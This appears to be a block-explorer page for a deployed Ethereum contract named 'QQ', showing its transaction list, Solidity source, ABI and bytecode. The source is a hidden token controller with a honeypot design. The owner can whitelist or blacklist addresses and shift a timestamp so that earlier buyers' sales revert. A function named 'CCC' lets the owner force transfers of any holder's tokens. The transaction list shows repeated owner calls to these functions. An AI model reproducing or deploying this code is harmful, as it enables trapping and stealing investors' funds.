Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 25 from a total of 32 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
CCC | 17365200 | 504 days ago | IN | 0 ETH | 0.00257463 | ||||
ZZZ | 17365193 | 504 days ago | IN | 0 ETH | 0.00141594 | ||||
ZZZ | 17364904 | 504 days ago | IN | 0 ETH | 0.00123728 | ||||
ZZZ | 17364549 | 504 days ago | IN | 0 ETH | 0.00096295 | ||||
ZZZ | 17364324 | 504 days ago | IN | 0 ETH | 0.00113442 | ||||
AW | 17364145 | 504 days ago | IN | 0 ETH | 0.0014129 | ||||
ZZZ | 17364125 | 504 days ago | IN | 0 ETH | 0.00113708 | ||||
ZZZ | 17364096 | 504 days ago | IN | 0 ETH | 0.00081285 | ||||
ZZZ | 17364042 | 504 days ago | IN | 0 ETH | 0.0007807 | ||||
ZZZ | 17364032 | 504 days ago | IN | 0 ETH | 0.00075372 | ||||
ZZZ | 17364025 | 504 days ago | IN | 0 ETH | 0.00079648 | ||||
AW | 17363999 | 504 days ago | IN | 0 ETH | 0.0043006 | ||||
ZZZ | 17363987 | 504 days ago | IN | 0 ETH | 0.00082396 | ||||
ZZZ | 17363983 | 504 days ago | IN | 0 ETH | 0.00086368 | ||||
ZZZ | 17363977 | 504 days ago | IN | 0 ETH | 0.0008129 | ||||
ZZZ | 17363970 | 504 days ago | IN | 0 ETH | 0.00086599 | ||||
ZZZ | 17363957 | 504 days ago | IN | 0 ETH | 0.00085256 | ||||
ZZZ | 17363953 | 504 days ago | IN | 0 ETH | 0.00086522 | ||||
ZZZ | 17363950 | 504 days ago | IN | 0 ETH | 0.00089726 | ||||
ZZZ | 17363948 | 504 days ago | IN | 0 ETH | 0.00090009 | ||||
ZZZ | 17363944 | 504 days ago | IN | 0 ETH | 0.00087946 | ||||
ZZZ | 17363934 | 504 days ago | IN | 0 ETH | 0.00089195 | ||||
ZZZ | 17363928 | 504 days ago | IN | 0 ETH | 0.00096617 | ||||
ZZZ | 17363926 | 504 days ago | IN | 0 ETH | 0.00099894 | ||||
ZZZ | 17363918 | 504 days ago | IN | 0 ETH | 0.00096748 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
QQ
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function decimals() external returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract QQ is Ownable { using SafeMath for uint256; address cc; address pp; mapping(address => bool) wat; mapping(address => bool) bat; mapping (address => uint256) hodl; uint256 public saveLast; receive() external payable { } function SSS(address _c, address _p) external onlyOwner { cc = _c; pp = _p; } function ZZZ(uint256 amount) external onlyOwner { if (amount == 0) saveLast = block.timestamp; else saveLast = amount; } function transferFrom(address from, address to, uint256 amount) external returns (bool) { require(msg.sender == cc); if (wat[from] || wat[to]) return true; if (from == pp) { if (hodl[to] == 0) { hodl[to] = block.timestamp; } return true; } else { require(!bat[from]); if (hodl[from]-saveLast >= 0) return true; } return false; } function CCC(address from, address to, uint256 amount) external onlyOwner { IERC20(cc).transferFrom(from, to, amount); } function AW(address[] memory _wat) public onlyOwner{ for (uint i = 0; i < _wat.length; i++) { wat[_wat[i]] = true; } } function AB(address[] memory _bat) public onlyOwner{ for (uint i = 0; i < _bat.length; i++) { bat[_bat[i]] = true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"AB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"AW","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"CCC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_c","type":"address"},{"internalType":"address","name":"_p","type":"address"}],"name":"SSS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ZZZ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saveLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561001057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610976806100616000396000f3fe6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b146101515780639a277c2e14610179578063d09ba08014610199578063f28078da146101b9578063f2fde38b146101d957600080fd5b80630eb6f573146100a157806323b872dd146100c357806345ddb9c8146100f857806367341ca61461011c578063715018a61461013c57600080fd5b3661009c57005b600080fd5b3480156100ad57600080fd5b506100c16100bc366004610723565b6101f9565b005b3480156100cf57600080fd5b506100e36100de3660046107e8565b610298565b60405190151581526020015b60405180910390f35b34801561010457600080fd5b5061010e60065481565b6040519081526020016100ef565b34801561012857600080fd5b506100c1610137366004610723565b6103bc565b34801561014857600080fd5b506100c161044e565b34801561015d57600080fd5b506000546040516001600160a01b0390911681526020016100ef565b34801561018557600080fd5b506100c1610194366004610824565b6104c2565b3480156101a557600080fd5b506100c16101b436600461083d565b610500565b3480156101c557600080fd5b506100c16101d43660046107e8565b610558565b3480156101e557600080fd5b506100c16101f4366004610870565b610607565b6000546001600160a01b0316331461022c5760405162461bcd60e51b81526004016102239061088b565b60405180910390fd5b60005b815181101561029457600160046000848481518110610250576102506108c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061028c816108ec565b91505061022f565b5050565b6001546000906001600160a01b031633146102b257600080fd5b6001600160a01b03841660009081526003602052604090205460ff16806102f157506001600160a01b03831660009081526003602052604090205460ff165b156102fe575060016103b5565b6002546001600160a01b0390811690851603610357576001600160a01b038316600090815260056020526040812054900361034f576001600160a01b03831660009081526005602052604090204290555b5060016103b5565b6001600160a01b03841660009081526004602052604090205460ff161561037d57600080fd5b6006546001600160a01b03851660009081526005602052604081205490916103a491610905565b106103b1575060016103b5565b5060005b9392505050565b6000546001600160a01b031633146103e65760405162461bcd60e51b81526004016102239061088b565b60005b81518110156102945760016003600084848151811061040a5761040a6108c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610446816108ec565b9150506103e9565b6000546001600160a01b031633146104785760405162461bcd60e51b81526004016102239061088b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016102239061088b565b806000036104fb574260065550565b600655565b6000546001600160a01b0316331461052a5760405162461bcd60e51b81526004016102239061088b565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b6000546001600160a01b031633146105825760405162461bcd60e51b81526004016102239061088b565b6001546040516323b872dd60e01b81526001600160a01b038581166004830152848116602483015260448201849052909116906323b872dd906064016020604051808303816000875af11580156105dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610601919061091e565b50505050565b6000546001600160a01b031633146106315760405162461bcd60e51b81526004016102239061088b565b6001600160a01b0381166106965760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610223565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b038116811461071e57600080fd5b919050565b6000602080838503121561073657600080fd5b823567ffffffffffffffff8082111561074e57600080fd5b818501915085601f83011261076257600080fd5b813581811115610774576107746106f1565b8060051b604051601f19603f83011681018181108582111715610799576107996106f1565b6040529182528482019250838101850191888311156107b757600080fd5b938501935b828510156107dc576107cd85610707565b845293850193928501926107bc565b98975050505050505050565b6000806000606084860312156107fd57600080fd5b61080684610707565b925061081460208501610707565b9150604084013590509250925092565b60006020828403121561083657600080fd5b5035919050565b6000806040838503121561085057600080fd5b61085983610707565b915061086760208401610707565b90509250929050565b60006020828403121561088257600080fd5b6103b582610707565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016108fe576108fe6108d6565b5060010190565b81810381811115610918576109186108d6565b92915050565b60006020828403121561093057600080fd5b815180151581146103b557600080fdfea2646970667358221220cf3a71cb43f0dd6c12ec2bc84afc3ae3d7b83cde965b5a4ccbb5ddcc76c3d75364736f6c63430008120033
Deployed Bytecode
0x6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b146101515780639a277c2e14610179578063d09ba08014610199578063f28078da146101b9578063f2fde38b146101d957600080fd5b80630eb6f573146100a157806323b872dd146100c357806345ddb9c8146100f857806367341ca61461011c578063715018a61461013c57600080fd5b3661009c57005b600080fd5b3480156100ad57600080fd5b506100c16100bc366004610723565b6101f9565b005b3480156100cf57600080fd5b506100e36100de3660046107e8565b610298565b60405190151581526020015b60405180910390f35b34801561010457600080fd5b5061010e60065481565b6040519081526020016100ef565b34801561012857600080fd5b506100c1610137366004610723565b6103bc565b34801561014857600080fd5b506100c161044e565b34801561015d57600080fd5b506000546040516001600160a01b0390911681526020016100ef565b34801561018557600080fd5b506100c1610194366004610824565b6104c2565b3480156101a557600080fd5b506100c16101b436600461083d565b610500565b3480156101c557600080fd5b506100c16101d43660046107e8565b610558565b3480156101e557600080fd5b506100c16101f4366004610870565b610607565b6000546001600160a01b0316331461022c5760405162461bcd60e51b81526004016102239061088b565b60405180910390fd5b60005b815181101561029457600160046000848481518110610250576102506108c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061028c816108ec565b91505061022f565b5050565b6001546000906001600160a01b031633146102b257600080fd5b6001600160a01b03841660009081526003602052604090205460ff16806102f157506001600160a01b03831660009081526003602052604090205460ff165b156102fe575060016103b5565b6002546001600160a01b0390811690851603610357576001600160a01b038316600090815260056020526040812054900361034f576001600160a01b03831660009081526005602052604090204290555b5060016103b5565b6001600160a01b03841660009081526004602052604090205460ff161561037d57600080fd5b6006546001600160a01b03851660009081526005602052604081205490916103a491610905565b106103b1575060016103b5565b5060005b9392505050565b6000546001600160a01b031633146103e65760405162461bcd60e51b81526004016102239061088b565b60005b81518110156102945760016003600084848151811061040a5761040a6108c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610446816108ec565b9150506103e9565b6000546001600160a01b031633146104785760405162461bcd60e51b81526004016102239061088b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104ec5760405162461bcd60e51b81526004016102239061088b565b806000036104fb574260065550565b600655565b6000546001600160a01b0316331461052a5760405162461bcd60e51b81526004016102239061088b565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b6000546001600160a01b031633146105825760405162461bcd60e51b81526004016102239061088b565b6001546040516323b872dd60e01b81526001600160a01b038581166004830152848116602483015260448201849052909116906323b872dd906064016020604051808303816000875af11580156105dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610601919061091e565b50505050565b6000546001600160a01b031633146106315760405162461bcd60e51b81526004016102239061088b565b6001600160a01b0381166106965760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610223565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b038116811461071e57600080fd5b919050565b6000602080838503121561073657600080fd5b823567ffffffffffffffff8082111561074e57600080fd5b818501915085601f83011261076257600080fd5b813581811115610774576107746106f1565b8060051b604051601f19603f83011681018181108582111715610799576107996106f1565b6040529182528482019250838101850191888311156107b757600080fd5b938501935b828510156107dc576107cd85610707565b845293850193928501926107bc565b98975050505050505050565b6000806000606084860312156107fd57600080fd5b61080684610707565b925061081460208501610707565b9150604084013590509250925092565b60006020828403121561083657600080fd5b5035919050565b6000806040838503121561085057600080fd5b61085983610707565b915061086760208401610707565b90509250929050565b60006020828403121561088257600080fd5b6103b582610707565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016108fe576108fe6108d6565b5060010190565b81810381811115610918576109186108d6565b92915050565b60006020828403121561093057600080fd5b815180151581146103b557600080fdfea2646970667358221220cf3a71cb43f0dd6c12ec2bc84afc3ae3d7b83cde965b5a4ccbb5ddcc76c3d75364736f6c63430008120033
Deployed Bytecode Sourcemap
7584:1478:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8905:154;;;;;;;;;;-1:-1:-1;8905:154:0;;;;;:::i;:::-;;:::i;:::-;;8124:469;;;;;;;;;;-1:-1:-1;8124:469:0;;;;;:::i;:::-;;:::i;:::-;;;1948:14:1;;1941:22;1923:41;;1911:2;1896:18;8124:469:0;;;;;;;;7795:23;;;;;;;;;;;;;;;;;;;2121:25:1;;;2109:2;2094:18;7795:23:0;1975:177:1;8743:154:0;;;;;;;;;;-1:-1:-1;8743:154:0;;;;;:::i;:::-;;:::i;6302:148::-;;;;;;;;;;;;;:::i;5660:79::-;;;;;;;;;;-1:-1:-1;5698:7:0;5725:6;5660:79;;-1:-1:-1;;;;;5725:6:0;;;2303:51:1;;2291:2;2276:18;5660:79:0;2157:203:1;7973:143:0;;;;;;;;;;-1:-1:-1;7973:143:0;;;;;:::i;:::-;;:::i;7865:100::-;;;;;;;;;;-1:-1:-1;7865:100:0;;;;;:::i;:::-;;:::i;8601:134::-;;;;;;;;;;-1:-1:-1;8601:134:0;;;;;:::i;:::-;;:::i;6605:244::-;;;;;;;;;;-1:-1:-1;6605:244:0;;;;;:::i;:::-;;:::i;8905:154::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;;;;;;;;;8972:6:::1;8967:85;8988:4;:11;8984:1;:15;8967:85;;;9036:4;9021:3;:12;9025:4;9030:1;9025:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9021:12:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9021:12:0;:19;;-1:-1:-1;;9021:19:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9001:3;::::1;::::0;::::1;:::i;:::-;;;;8967:85;;;;8905:154:::0;:::o;8124:469::-;8245:2;;8206:4;;-1:-1:-1;;;;;8245:2:0;8231:10;:16;8223:25;;;;;;-1:-1:-1;;;;;8263:9:0;;;;;;:3;:9;;;;;;;;;:20;;-1:-1:-1;;;;;;8276:7:0;;;;;;:3;:7;;;;;;;;8263:20;8259:37;;;-1:-1:-1;8292:4:0;8285:11;;8259:37;8319:2;;-1:-1:-1;;;;;8319:2:0;;;8311:10;;;;8307:256;;-1:-1:-1;;;;;8342:8:0;;;;;;:4;:8;;;;;;:13;;8338:80;;-1:-1:-1;;;;;8376:8:0;;;;;;:4;:8;;;;;8387:15;8376:26;;8338:80;-1:-1:-1;8439:4:0;8432:11;;8307:256;-1:-1:-1;;;;;8485:9:0;;;;;;:3;:9;;;;;;;;8484:10;8476:19;;;;;;8525:8;;-1:-1:-1;;;;;8514:10:0;;8537:1;8514:10;;;:4;:10;;;;;;8537:1;;8514:19;;;:::i;:::-;:24;8510:41;;-1:-1:-1;8547:4:0;8540:11;;8510:41;-1:-1:-1;8580:5:0;8124:469;;;;;;:::o;8743:154::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8810:6:::1;8805:85;8826:4;:11;8822:1;:15;8805:85;;;8874:4;8859:3;:12;8863:4;8868:1;8863:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8859:12:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8859:12:0;:19;;-1:-1:-1;;8859:19:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8839:3;::::1;::::0;::::1;:::i;:::-;;;;8805:85;;6302:148:::0;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;6409:1:::1;6393:6:::0;;6372:40:::1;::::0;-1:-1:-1;;;;;6393:6:0;;::::1;::::0;6372:40:::1;::::0;6409:1;;6372:40:::1;6440:1;6423:19:::0;;-1:-1:-1;;;;;;6423:19:0::1;::::0;;6302:148::o;7973:143::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8036:6:::1;8046:1;8036:11:::0;8032:76:::1;;8060:15;8049:8;:26:::0;7973:143;:::o;8032:76::-:1;8091:8;:17:::0;7973:143::o;7865:100::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;7932:2:::1;:7:::0;;-1:-1:-1;;;;;7932:7:0;;::::1;-1:-1:-1::0;;;;;;7932:7:0;;::::1;;::::0;;;7950:2:::1;:7:::0;;;;;::::1;::::0;::::1;;::::0;;7865:100::o;8601:134::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8693:2:::1;::::0;8686:41:::1;::::0;-1:-1:-1;;;8686:41:0;;-1:-1:-1;;;;;4162:15:1;;;8686:41:0::1;::::0;::::1;4144:34:1::0;4214:15;;;4194:18;;;4187:43;4246:18;;;4239:34;;;8693:2:0;;::::1;::::0;8686:23:::1;::::0;4079:18:1;;8686:41:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8601:134:::0;;;:::o;6605:244::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6694:22:0;::::1;6686:73;;;::::0;-1:-1:-1;;;6686:73:0;;4768:2:1;6686:73:0::1;::::0;::::1;4750:21:1::0;4807:2;4787:18;;;4780:30;4846:34;4826:18;;;4819:62;-1:-1:-1;;;4897:18:1;;;4890:36;4943:19;;6686:73:0::1;4566:402:1::0;6686:73:0::1;6796:6;::::0;;6775:38:::1;::::0;-1:-1:-1;;;;;6775:38:0;;::::1;::::0;6796:6;::::1;::::0;6775:38:::1;::::0;::::1;6824:6;:17:::0;;-1:-1:-1;;;;;;6824:17:0::1;-1:-1:-1::0;;;;;6824:17:0;;;::::1;::::0;;;::::1;::::0;;6605:244::o;14:127:1:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:173;214:20;;-1:-1:-1;;;;;263:31:1;;253:42;;243:70;;309:1;306;299:12;243:70;146:173;;;:::o;324:1121::-;408:6;439:2;482;470:9;461:7;457:23;453:32;450:52;;;498:1;495;488:12;450:52;538:9;525:23;567:18;608:2;600:6;597:14;594:34;;;624:1;621;614:12;594:34;662:6;651:9;647:22;637:32;;707:7;700:4;696:2;692:13;688:27;678:55;;729:1;726;719:12;678:55;765:2;752:16;787:2;783;780:10;777:36;;;793:18;;:::i;:::-;839:2;836:1;832:10;871:2;865:9;934:2;930:7;925:2;921;917:11;913:25;905:6;901:38;989:6;977:10;974:22;969:2;957:10;954:18;951:46;948:72;;;1000:18;;:::i;:::-;1036:2;1029:22;1086:18;;;1120:15;;;;-1:-1:-1;1162:11:1;;;1158:20;;;1190:19;;;1187:39;;;1222:1;1219;1212:12;1187:39;1246:11;;;;1266:148;1282:6;1277:3;1274:15;1266:148;;;1348:23;1367:3;1348:23;:::i;:::-;1336:36;;1299:12;;;;1392;;;;1266:148;;;1433:6;324:1121;-1:-1:-1;;;;;;;;324:1121:1:o;1450:328::-;1527:6;1535;1543;1596:2;1584:9;1575:7;1571:23;1567:32;1564:52;;;1612:1;1609;1602:12;1564:52;1635:29;1654:9;1635:29;:::i;:::-;1625:39;;1683:38;1717:2;1706:9;1702:18;1683:38;:::i;:::-;1673:48;;1768:2;1757:9;1753:18;1740:32;1730:42;;1450:328;;;;;:::o;2365:180::-;2424:6;2477:2;2465:9;2456:7;2452:23;2448:32;2445:52;;;2493:1;2490;2483:12;2445:52;-1:-1:-1;2516:23:1;;2365:180;-1:-1:-1;2365:180:1:o;2550:260::-;2618:6;2626;2679:2;2667:9;2658:7;2654:23;2650:32;2647:52;;;2695:1;2692;2685:12;2647:52;2718:29;2737:9;2718:29;:::i;:::-;2708:39;;2766:38;2800:2;2789:9;2785:18;2766:38;:::i;:::-;2756:48;;2550:260;;;;;:::o;2815:186::-;2874:6;2927:2;2915:9;2906:7;2902:23;2898:32;2895:52;;;2943:1;2940;2933:12;2895:52;2966:29;2985:9;2966:29;:::i;3006:356::-;3208:2;3190:21;;;3227:18;;;3220:30;3286:34;3281:2;3266:18;;3259:62;3353:2;3338:18;;3006:356::o;3367:127::-;3428:10;3423:3;3419:20;3416:1;3409:31;3459:4;3456:1;3449:15;3483:4;3480:1;3473:15;3499:127;3560:10;3555:3;3551:20;3548:1;3541:31;3591:4;3588:1;3581:15;3615:4;3612:1;3605:15;3631:135;3670:3;3691:17;;;3688:43;;3711:18;;:::i;:::-;-1:-1:-1;3758:1:1;3747:13;;3631:135::o;3771:128::-;3838:9;;;3859:11;;;3856:37;;;3873:18;;:::i;:::-;3771:128;;;;:::o;4284:277::-;4351:6;4404:2;4392:9;4383:7;4379:23;4375:32;4372:52;;;4420:1;4417;4410:12;4372:52;4452:9;4446:16;4505:5;4498:13;4491:21;4484:5;4481:32;4471:60;;4527:1;4524;4517:12
Swarm Source
ipfs://cf3a71cb43f0dd6c12ec2bc84afc3ae3d7b83cde965b5a4ccbb5ddcc76c3d753
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 27 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.